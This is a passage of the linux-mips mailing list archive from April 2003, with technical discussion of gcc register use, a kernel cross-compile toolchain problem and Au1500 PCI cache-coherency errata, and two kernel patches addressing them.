From muthu@iqmail.net Tue Apr  1 01:52:15 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 01:52:16 +0100 (BST)
Received: from vopmail.sfo.interquest.net ([IPv6:::ffff:66.135.128.69]:14353
	"EHLO micaiah.rwc.iqcicom.com") by linux-mips.org with ESMTP
	id <S8225192AbTDAAwP>; Tue, 1 Apr 2003 01:52:15 +0100
Received: from Muruga.localdomain (unverified [66.135.134.50]) by micaiah.rwc.iqcicom.com
 (Vircom SMTPRS 2.0.244) with ESMTP id <B0005113722@micaiah.rwc.iqcicom.com>;
 Mon, 31 Mar 2003 16:52:10 -0800
Received: from localhost (muthu@localhost)
	by Muruga.localdomain (8.11.6/8.11.2) with ESMTP id h310bCN16365;
	Mon, 31 Mar 2003 16:37:13 -0800
X-Authentication-Warning: Muruga.localdomain: muthu owned process doing -bs
Date: Mon, 31 Mar 2003 16:37:12 -0800 (PST)
From: Muthukumar Ratty <muthu@iqmail.net>
X-X-Sender: <muthu@Muruga.localdomain>
To: "Kevin D. Kissell" <kevink@mips.com>
cc: <Amit.Lubovsky@infineon.com>, <linux-mips@linux-mips.org>
Subject: Re: mips5kc - cpu registers
In-Reply-To: <009401c2f7aa$0137f2a0$10eca8c0@grendel>
Message-ID: <Pine.LNX.4.33.0303311634180.16351-100000@Muruga.localdomain>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <muthu@iqmail.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1881
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: muthu@iqmail.net
Precedence: bulk
X-list: linux-mips


> In general, gcc (and most other compilers)
> will do this for you automatically if you enable
> any reasonable level of optimization.  There
> is no need to designate the variable as "FAST",
> one simply needs to avoid having it be global,
> static, or volatile.

just to add to that... you shouldnt have referred to the address of the
variable. Even if you do, say &tmp, and never assigned it to any ptr,
gcc will not use register for that var.







>
> ----- Original Message -----
> From: <Amit.Lubovsky@infineon.com>
> To: <linux-mips@linux-mips.org>
> Sent: Monday, March 31, 2003 6:45 PM
> Subject: mips5kc - cpu registers
>
>
> > Hi,
> > is there a possibility to use cpu registers in the code (temporarily)
> > instead of allocating
> > automatic variables something like:
> > func a()
> > {
> > FAST int, i, tmp;
> > tmp = ...
> > ...
> > }
> >
> > as in vxWorks ?
> >
> > Thanks,
> > Amit.
> >
> >
>


From ngarg@noida.hcltech.com Tue Apr  1 07:42:39 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 07:42:43 +0100 (BST)
Received: from [IPv6:::ffff:202.54.110.230] ([IPv6:::ffff:202.54.110.230]:31251
	"EHLO ngate.noida.hcltech.com") by linux-mips.org with ESMTP
	id <S8225073AbTDAGmj>; Tue, 1 Apr 2003 07:42:39 +0100
Received: from exch-01.noida.hcltech.com (exch-01 [204.160.254.29])
	by ngate.noida.hcltech.com (8.9.3/8.9.3) with ESMTP id MAA00363
	for <linux-mips@linux-mips.org>; Tue, 1 Apr 2003 12:07:52 +0530
Received: by exch-01.noida.hcltech.com with Internet Mail Service (5.5.2656.59)
	id <HPYVLFH5>; Tue, 1 Apr 2003 12:05:20 +0530
Message-ID: <E04CF3F88ACBD5119EFE00508BBB2121086ED859@exch-01.noida.hcltech.com>
From: "Neeraj  Garg, Noida" <ngarg@noida.hcltech.com>
To: linux-mips@linux-mips.org
Subject: Linux-MIPS compilation
Date: Tue, 1 Apr 2003 12:05:18 +0530 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2656.59)
Content-Type: text/plain;
	charset="iso-8859-1"
Return-Path: <ngarg@noida.hcltech.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1882
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ngarg@noida.hcltech.com
Precedence: bulk
X-list: linux-mips

Hi all,
I am trying to compile linux kernel version 2.4.19 and 2.4.20 for a MIPS
processor. GNU Compiler and linker version is 2.95.4.

-----------------
Compilation: 
------------------
Using compilation options:
mips-linux-gcc -D__KERNEL__ -D__linux__ -D_MIPS_SZLONG=32
-I/usr/emb_linux/linux-2.4.20/include -D__linux__ -Wall -Wstrict-prototypes
-Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -I
/usr/emb_linux/linux-2.4.20/include/asm/gcc -G 0 -mno-abicalls -fno-pic
-pipe -g -mcpu=r4600 -mips2 -Wa,--trap  -DUTS_MACHINE='"mips"'

I have got a tons of warnings named as:
{standard input}: Assembler messages:
{standard input}:784: Warning: Macro instruction expanded into multiple
instructions
{standard input}:784: Warning: No .cprestore pseudo-op used in PIC code

Can anybody help out to remove these warnings?

----------------------
Linking
-------------------
Using linking options:
mips-linux-ld -G 0 -static  -T arch/mips/ld.script

I have got a tons of error messages named as:
relocation truncated to fit: R_MIPS_PC16 cache_parity_error
relocation truncated to fit: R_MIPS_PC16 no symbol
relocation truncated to fit: R_MIPS_PC16 no symbol

I would be obliged if somebody can explain how GNU linker is taking
R_MIPS_PC16 as relocation type and what is the remedy to remove these error
messages?

Thanks and regds,
-neeraj


----------------------------------------------------------------------
Neeraj Kumar Garg            
Member Technical Staff

HCL Technologies Ltd.
A-5, Sector 24                Work: 91-11-91-2411502 Ext 2560
Noida UP - 201301             Fax:  91-11-91-2440155
India
----------------------------------------------------------------------



From hartvig@ekner.info Tue Apr  1 08:43:51 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 08:43:53 +0100 (BST)
Received: from pasmtp.tele.dk ([IPv6:::ffff:193.162.159.95]:1288 "EHLO
	pasmtp.tele.dk") by linux-mips.org with ESMTP id <S8225073AbTDAHnu>;
	Tue, 1 Apr 2003 08:43:50 +0100
Received: from ekner.info (0x83a4a968.virnxx10.adsl-dhcp.tele.dk [131.164.169.104])
	by pasmtp.tele.dk (Postfix) with ESMTP
	id 18536B5D6; Tue,  1 Apr 2003 09:43:48 +0200 (CEST)
Message-ID: <3E8944EA.6E7AE06C@ekner.info>
Date: Tue, 01 Apr 2003 09:51:06 +0200
From: Hartvig Ekner <hartvig@ekner.info>
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-19.7.x i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Pete@ekner.info, Popov@ekner.info
Cc: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: Au1500 hardware cache coherency
References: <3E882FB8.BBFDACE2@ekner.info> <3E8853B3.9080902@amd.com>
		 <3E885B68.6927451E@ekner.info> <3E8883B8.1000000@amd.com>
		 <3E889602.62B7AB6B@ekner.info> <1049142818.26677.68.camel@zeus.mvista.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Return-Path: <hartvig@ekner.info>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1883
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hartvig@ekner.info
Precedence: bulk
X-list: linux-mips

Hi Pete,

Pete Popov wrote:

> On Mon, 2003-03-31 at 11:24, Hartvig Ekner wrote:
> > Hi Eric,
> >
> > I did a quick check of a complete kernel disassembly, and there are
> > tons of direct or indirect RMW's to config, which do not explicitly
> > insure that Config[0D] is set.
> > Pete - are you aware of this?
>
> Config[OD] is set in setup.c and should not be cleared afterward.
>

Due to errata #4, it is cleared whenever macroes like set_c0_config or change_c0_config is
called. This happens in several places:

    au1000_restart (probably doesn't matter?)
    cache parity error exception (doesn't matter, we're probably dying anyway)
    ld_mmu_mips32 (in c-mips32.c)

I'm not quite sure whether ld_mmu_mips32 is called after au1x00 setup, but if it is,
the bit is cleared, never to be set again. Maybe the c0_config macroes should be changed
due to errata #4?


> > So, to summarize: The first set of problems in my email below seem to
> > be fully explained by errata #14. Note that any kernel compiled from
> > the current CVS exhibits this problem:
> > Because although NONCOHEHENT_IO is set, the NC bit in PCI_CFG is not
> > set.
>
> Hmm, ok, I'll check that out.

>
>
> > I have verified that the problem occurs when NC is cleared, regardless
> > of the .config option. So some code needs to be changed in
> > au1000/xxx/setup.c... (set NC if NONCOHERENT_IO
> > is enabled).
>
> > But - much wore worrisome: I did this modification, and with the NC
> > bit set, and NONCOHERENT_IO set, I get the second set of errors,
> > although it takes much longer time. The wback_inv calls are made
> > through the generic code  in the subroutine
> > pci_alloc_consistent() (in arch/mips/kernel/pci-dma.c).
>
> > So something is wrong.... Anybody at AMD who would care to continue
> > the debug?
>
> Can you send me your test and exact instructions on how you're
> duplicating the error? I won't have time to look at it until after 4/20
> though.
>

Sure. However, I will first try to make sure that the kernel does not have the same problem on another
non AU1500 platform.

BTW, are you using the HPT onboard IDE controller? Last time I tried, it wasn't functional, the kernel crashed
during boot when kudzu was doing some HW probing on the IDE stuff. I'm using a plug-in promise card
(20268 based).

/Hartvig



From ralf@linux-mips.net Tue Apr  1 12:43:52 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 12:43:53 +0100 (BST)
Received: from p508B7959.dip.t-dialin.net ([IPv6:::ffff:80.139.121.89]:60608
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225193AbTDALnw>; Tue, 1 Apr 2003 12:43:52 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h31BgwL07672;
	Tue, 1 Apr 2003 13:42:58 +0200
Date: Tue, 1 Apr 2003 13:42:58 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: "Neeraj  Garg, Noida" <ngarg@noida.hcltech.com>
Cc: linux-mips@linux-mips.org
Subject: Re: Linux-MIPS compilation
Message-ID: <20030401134258.A7618@linux-mips.org>
References: <E04CF3F88ACBD5119EFE00508BBB2121086ED859@exch-01.noida.hcltech.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <E04CF3F88ACBD5119EFE00508BBB2121086ED859@exch-01.noida.hcltech.com>; from ngarg@noida.hcltech.com on Tue, Apr 01, 2003 at 12:05:18PM +0530
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1884
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Tue, Apr 01, 2003 at 12:05:18PM +0530, Neeraj  Garg, Noida wrote:

> Using compilation options:
> mips-linux-gcc -D__KERNEL__ -D__linux__ -D_MIPS_SZLONG=32
> -I/usr/emb_linux/linux-2.4.20/include -D__linux__ -Wall -Wstrict-prototypes
> -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -I
> /usr/emb_linux/linux-2.4.20/include/asm/gcc -G 0 -mno-abicalls -fno-pic
> -pipe -g -mcpu=r4600 -mips2 -Wa,--trap  -DUTS_MACHINE='"mips"'
> 
> I have got a tons of warnings named as:
> {standard input}: Assembler messages:
> {standard input}:784: Warning: Macro instruction expanded into multiple
> instructions
> {standard input}:784: Warning: No .cprestore pseudo-op used in PIC code
> 
> Can anybody help out to remove these warnings?

The options -D__linux__ -D_MIPS_SZLONG=32 and the error messages make it
look like you're forcing a non-Linux toolchain into building a kernel.

  Ralf

From ralf@linux-mips.net Tue Apr  1 12:47:25 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 12:47:26 +0100 (BST)
Received: from p508B7959.dip.t-dialin.net ([IPv6:::ffff:80.139.121.89]:63936
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225192AbTDALrZ>; Tue, 1 Apr 2003 12:47:25 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h31BlDr07749;
	Tue, 1 Apr 2003 13:47:13 +0200
Date: Tue, 1 Apr 2003 13:47:13 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Pete Popov <ppopov@mvista.com>
Cc: Hartvig Ekner <hartvig@ekner.info>,
	Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: Au1500 hardware cache coherency
Message-ID: <20030401134713.B7618@linux-mips.org>
References: <3E882FB8.BBFDACE2@ekner.info> <1049135714.26674.19.camel@zeus.mvista.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1049135714.26674.19.camel@zeus.mvista.com>; from ppopov@mvista.com on Mon, Mar 31, 2003 at 10:35:14AM -0800
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1885
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Mon, Mar 31, 2003 at 10:35:14AM -0800, Pete Popov wrote:

> > So before spending more time on debugging this, and creating patches
> > for using HW coherency, I wanted to hear your input - maybe there are
> > known problems in the Au1500 coherency implementation?
> 
> Looks like Eric already replied to your questions.
> 
> Patches to get the code to compile with NONCOHERENT_IO turned off would
> be good, even if you don't want to do that yet. 
> 
> FYI, in the latest kernel I'm getting a panic when doing a very large
> 'cp -a' from nfs to ata100 disk (don't know if the disk itself matters)
> (Pb1500 and Db1500).  The same test passes with a 2.4.18 kernel, so it
> seems like it's not a hardware issue, unless the 2.4.18 kernel is just
> getting lucky.  I'll be gone till 4/20 so I won't have time to debug it
> until after I get back.

Not that this is Linux 2.4.21-pre4 which did replace essentially the
entire IDE code due to major problems with the old IDE core.  The problems
were huge - large enough to warrant the rewrite of such a large subsystem
in a stable series of kernels and certainly the dust hasn't fully settled
yet.

  Ralf

From hartvig@ekner.info Tue Apr  1 13:22:53 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 13:22:54 +0100 (BST)
Received: from pasmtp.tele.dk ([IPv6:::ffff:193.162.159.95]:4356 "EHLO
	pasmtp.tele.dk") by linux-mips.org with ESMTP id <S8225073AbTDAMWx>;
	Tue, 1 Apr 2003 13:22:53 +0100
Received: from ekner.info (0x83a4a968.virnxx10.adsl-dhcp.tele.dk [131.164.169.104])
	by pasmtp.tele.dk (Postfix) with ESMTP id 7B87DB61E
	for <linux-mips@linux-mips.org>; Tue,  1 Apr 2003 14:22:49 +0200 (CEST)
Message-ID: <3E898652.2717AEF2@ekner.info>
Date: Tue, 01 Apr 2003 14:30:10 +0200
From: Hartvig Ekner <hartvig@ekner.info>
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-19.7.x i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Patch to disable PCI coherency on AU1500 platforms
Content-Type: multipart/mixed;
 boundary="------------02EB40955D3FB734AD1AF292"
Return-Path: <hartvig@ekner.info>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1886
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hartvig@ekner.info
Precedence: bulk
X-list: linux-mips

This is a multi-part message in MIME format.
--------------02EB40955D3FB734AD1AF292
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

The patch below sets the NC bit in the PCI_CFG register to disable HW coherency when
running non-coherent. Until now, this bit was cleared which means corruption when using PCI
DMA masters, even if the kernel was correctly compiled with CONFIG_NONCOHERENT_IO.

Pb1500 specific notes: I don't have a PB1500, so I cannot test if it works there. Note: I also
removed what I think was an extraneous write to the PCI_CMEM register, so if somebody
could test this on a PB1500 it would be great.

/Hartvig



--------------02EB40955D3FB734AD1AF292
Content-Type: text/plain; charset=us-ascii;
 name="setup_patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="setup_patch"

Index: db1x00/setup.c
===================================================================
RCS file: /home/cvs/linux/arch/mips/au1000/db1x00/Attic/setup.c,v
retrieving revision 1.1.2.4
diff -u -r1.1.2.4 setup.c
--- db1x00/setup.c	21 Mar 2003 19:00:46 -0000	1.1.2.4
+++ db1x00/setup.c	1 Apr 2003 12:14:54 -0000
@@ -78,9 +78,8 @@
 void __init au1x00_setup(void)
 {
 	char *argptr;
-	u32 pin_func, static_cfg0;
-	u32 sys_freqctrl, sys_clksrc;
-	u32 prid = read_c0_prid();
+	u32 pin_func;
+//	u32 prid = read_c0_prid();
 
 	argptr = prom_getcmdline();
 
@@ -187,6 +186,19 @@
 
 #ifdef CONFIG_BLK_DEV_IDE
 	ide_ops = &std_ide_ops;
+#endif
+
+#ifdef CONFIG_PCI
+	/* Although YAMON has setup the PCI controller, some things
+	   may need to change. Eventually, all the PCI initialization
+	   should be done here (as in eg. ../pb1500/setup.c)
+	*/
+
+#ifdef CONFIG_NONCOHERENT_IO
+	/* Must disable PCI coherency if running non-coherent */
+
+	au_writel(au_readl(Au1500_PCI_CFG) | (1<<16), Au1500_PCI_CFG);
+#endif
 #endif
 
 #if 0
Index: pb1500/setup.c
===================================================================
RCS file: /home/cvs/linux/arch/mips/au1000/pb1500/setup.c,v
retrieving revision 1.1.2.12
diff -u -r1.1.2.12 setup.c
--- pb1500/setup.c	21 Mar 2003 19:00:47 -0000	1.1.2.12
+++ pb1500/setup.c	1 Apr 2003 12:14:54 -0000
@@ -35,6 +35,7 @@
 #include <linux/console.h>
 #include <linux/mc146818rtc.h>
 #include <linux/delay.h>
+#include <linux/proc_fs.h>
 
 #include <asm/cpu.h>
 #include <asm/bootinfo.h>
@@ -90,6 +91,7 @@
 	char *argptr;
 	u32 pin_func, static_cfg0;
 	u32 sys_freqctrl, sys_clksrc;
+	u32 pcicfg;
 
 	argptr = prom_getcmdline();
 
@@ -232,15 +234,25 @@
 
 #ifdef CONFIG_PCI
 	// Setup PCI bus controller
-	au_writel(0, Au1500_PCI_CMEM);
-	au_writel(0x00003fff, Au1500_CFG_BASE);
+
+	au_writel(0x00003fff, Au1500_PCI_CMEM);
+
 #if defined(__MIPSEB__)
-	au_writel(0xf | (2<<6) | (1<<4), Au1500_PCI_CFG);
+	pcicfg = 0xf | (2<<6) | (1<<4);
 #else
-	au_writel(0xf, Au1500_PCI_CFG);
+	pcicfg = 0xf;
 #endif
+
+#ifdef CONFIG_NONCOHERENT_IO
+	/* Must disable PCI coherency if running non-coherent */
+
+	pcicfg |= (1<<16);
+#endif
+
+	au_writel(pcicfg,     Au1500_PCI_CFG);
+
 	au_writel(0xf0000000, Au1500_PCI_MWMASK_DEV);
-	au_writel(0, Au1500_PCI_MWBASE_REV_CCL);
+	au_writel(0,          Au1500_PCI_MWBASE_REV_CCL);
 	au_writel(0x02a00356, Au1500_PCI_STATCMD);
 	au_writel(0x00003c04, Au1500_PCI_HDRTYPE);
 	au_writel(0x00000008, Au1500_PCI_MBAR);

--------------02EB40955D3FB734AD1AF292--


From hartvig@ekner.info Tue Apr  1 13:30:01 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 13:30:03 +0100 (BST)
Received: from pasmtp.tele.dk ([IPv6:::ffff:193.162.159.95]:62735 "EHLO
	pasmtp.tele.dk") by linux-mips.org with ESMTP id <S8225073AbTDAMaB>;
	Tue, 1 Apr 2003 13:30:01 +0100
Received: from ekner.info (0x83a4a968.virnxx10.adsl-dhcp.tele.dk [131.164.169.104])
	by pasmtp.tele.dk (Postfix) with ESMTP id 79481B525
	for <linux-mips@linux-mips.org>; Tue,  1 Apr 2003 14:29:59 +0200 (CEST)
Message-ID: <3E898800.450410D3@ekner.info>
Date: Tue, 01 Apr 2003 14:37:20 +0200
From: Hartvig Ekner <hartvig@ekner.info>
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-19.7.x i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Patch to make c-mips32.c compile when HW coherency is used
Content-Type: multipart/mixed;
 boundary="------------C0EFCCF38DBD9B15F6A87F17"
Return-Path: <hartvig@ekner.info>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1887
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hartvig@ekner.info
Precedence: bulk
X-list: linux-mips

This is a multi-part message in MIME format.
--------------C0EFCCF38DBD9B15F6A87F17
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

The patch totally removes the dma_cache functions and the function pointers when the kernel is
compiled for HW coherency. Previously it didn't compile at all since the function pointers are non-
existant in this case.

The same problem exists in all the other c-*.c files in arch/mips/mm, so maybe there is something
which I don't understand?

/Hartvig



--------------C0EFCCF38DBD9B15F6A87F17
Content-Type: text/plain; charset=us-ascii;
 name="noncoh_patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="noncoh_patch"

Index: c-mips32.c
===================================================================
RCS file: /home/cvs/linux/arch/mips/mm/c-mips32.c,v
retrieving revision 1.3.2.17
diff -u -r1.3.2.17 c-mips32.c
--- c-mips32.c	31 Mar 2003 23:29:06 -0000	1.3.2.17
+++ c-mips32.c	1 Apr 2003 12:17:14 -0000
@@ -293,6 +293,9 @@
 /*
  * Writeback and invalidate the primary cache dcache before DMA.
  */
+
+#ifdef	CONFIG_NONCOHERENT_IO
+
 static void
 mips32_dma_cache_wback_inv_pc(unsigned long addr, unsigned long size)
 {
@@ -379,9 +382,12 @@
 static void
 mips32_dma_cache_wback(unsigned long addr, unsigned long size)
 {
-	panic("mips32_dma_cache called - should not happen.");
+	panic("mips32_dma_cache_wback called - should not happen.");
 }
 
+#endif
+
+
 /*
  * While we're protected against bad userland addresses we don't care
  * very much about what happens in that case.  Usually a segmentation
@@ -596,9 +602,11 @@
 
 	_flush_icache_page = mips32_flush_icache_page;
 
+#ifdef	CONFIG_NONCOHERENT_IO
 	_dma_cache_wback_inv = mips32_dma_cache_wback_inv_pc;
 	_dma_cache_wback = mips32_dma_cache_wback;
 	_dma_cache_inv = mips32_dma_cache_inv_pc;
+#endif
 }
 
 static void __init setup_scache_funcs(void)
@@ -613,9 +621,11 @@
 
 	_flush_icache_page = mips32_flush_icache_page_s;
 
+#ifdef	CONFIG_NONCOHERENT_IO
 	_dma_cache_wback_inv = mips32_dma_cache_wback_inv_sc;
 	_dma_cache_wback = mips32_dma_cache_wback;
 	_dma_cache_inv = mips32_dma_cache_inv_sc;
+#endif
 }
 
 typedef int (*probe_func_t)(unsigned long);

--------------C0EFCCF38DBD9B15F6A87F17--


From brm@tt.dk Tue Apr  1 14:57:39 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 14:57:40 +0100 (BST)
Received: from [IPv6:::ffff:212.130.55.83] ([IPv6:::ffff:212.130.55.83]:32004
	"EHLO NTEX.tt.dk") by linux-mips.org with ESMTP id <S8225073AbTDAN5j>;
	Tue, 1 Apr 2003 14:57:39 +0100
Received: from lnsw.ttnet ([89.1.6.39]) by NTEX.tt.dk with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id HS0GYRFK; Tue, 1 Apr 2003 15:57:20 +0200
Received: from brmlinux.ttnet ([89.1.5.102] helo=tt.dk)
	by lnsw.ttnet with esmtp (Exim 3.35 #1 (Debian))
	id 190MGO-00017B-00; Tue, 01 Apr 2003 15:57:20 +0200
Message-ID: <3E899ABF.3070704@tt.dk>
Date: Tue, 01 Apr 2003 15:57:19 +0200
From: Brian Murphy <brm@tt.dk>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1
X-Accept-Language: en, en-ie
MIME-Version: 1.0
To: Ralf Baechle <ralf@linux-mips.org>
CC: "Neeraj Garg, Noida" <ngarg@noida.hcltech.com>,
	linux-mips@linux-mips.org
Subject: Re: Linux-MIPS compilation
References: <E04CF3F88ACBD5119EFE00508BBB2121086ED859@exch-01.noida.hcltech.com> <20030401134258.A7618@linux-mips.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Return-Path: <brm@tt.dk>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1888
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: brm@tt.dk
Precedence: bulk
X-list: linux-mips

Ralf Baechle wrote:

>The options -D__linux__ -D_MIPS_SZLONG=32 and the error messages make it
>look like you're forcing a non-Linux toolchain into building a kernel.
>
>  
>
What is the problem with this? At least a mips(el)-elf should have no 
problem compiling the kernel
(at least apart from the check you have somewhere which gives an error 
if you try).

/Brian



From ralf@linux-mips.net Tue Apr  1 15:04:05 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 15:04:05 +0100 (BST)
Received: from p508B7959.dip.t-dialin.net ([IPv6:::ffff:80.139.121.89]:58564
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225073AbTDAOEF>; Tue, 1 Apr 2003 15:04:05 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h31E3QP15572;
	Tue, 1 Apr 2003 16:03:26 +0200
Date: Tue, 1 Apr 2003 16:03:26 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Brian Murphy <brm@tt.dk>
Cc: "Neeraj Garg, Noida" <ngarg@noida.hcltech.com>,
	linux-mips@linux-mips.org
Subject: Re: Linux-MIPS compilation
Message-ID: <20030401160326.B14479@linux-mips.org>
References: <E04CF3F88ACBD5119EFE00508BBB2121086ED859@exch-01.noida.hcltech.com> <20030401134258.A7618@linux-mips.org> <3E899ABF.3070704@tt.dk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3E899ABF.3070704@tt.dk>; from brm@tt.dk on Tue, Apr 01, 2003 at 03:57:19PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1889
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Tue, Apr 01, 2003 at 03:57:19PM +0200, Brian Murphy wrote:

> >The options -D__linux__ -D_MIPS_SZLONG=32 and the error messages make it
> >look like you're forcing a non-Linux toolchain into building a kernel.
> >
> What is the problem with this? At least a mips(el)-elf should have no 
> problem compiling the kernel
> (at least apart from the check you have somewhere which gives an error 
> if you try).

These options are the default for every usable compiler.  If he actually
needed to add these options it looks like his compiler is pretty broken.
Similary the PIC-related error messages.  He's explicitly passing options
to disable PIC code yet the assembler and linker error messages indicate
he's using PIC code.  That's very strange also.

  Ralf

From Geert.Uytterhoeven@sonycom.com Tue Apr  1 15:58:38 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 15:58:38 +0100 (BST)
Received: from mail2.sonytel.be ([IPv6:::ffff:195.0.45.172]:919 "EHLO
	mail.sonytel.be") by linux-mips.org with ESMTP id <S8225073AbTDAO6i>;
	Tue, 1 Apr 2003 15:58:38 +0100
Received: from vervain.sonytel.be (mail.sonytel.be [10.17.0.27])
	by mail.sonytel.be (8.9.0p/8.8.6) with ESMTP id QAA04684;
	Tue, 1 Apr 2003 16:58:29 +0200 (MET DST)
Date: Tue, 1 Apr 2003 16:58:43 +0200 (MEST)
From: Geert Uytterhoeven <geert@linux-m68k.org>
To: Brian Murphy <brm@tt.dk>
cc: Ralf Baechle <ralf@linux-mips.org>,
	"Neeraj Garg, Noida" <ngarg@noida.hcltech.com>,
	Linux/MIPS Development <linux-mips@linux-mips.org>
Subject: Re: Linux-MIPS compilation
In-Reply-To: <3E899ABF.3070704@tt.dk>
Message-ID: <Pine.GSO.4.21.0304011657130.23134-100000@vervain.sonytel.be>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <Geert.Uytterhoeven@sonycom.com>
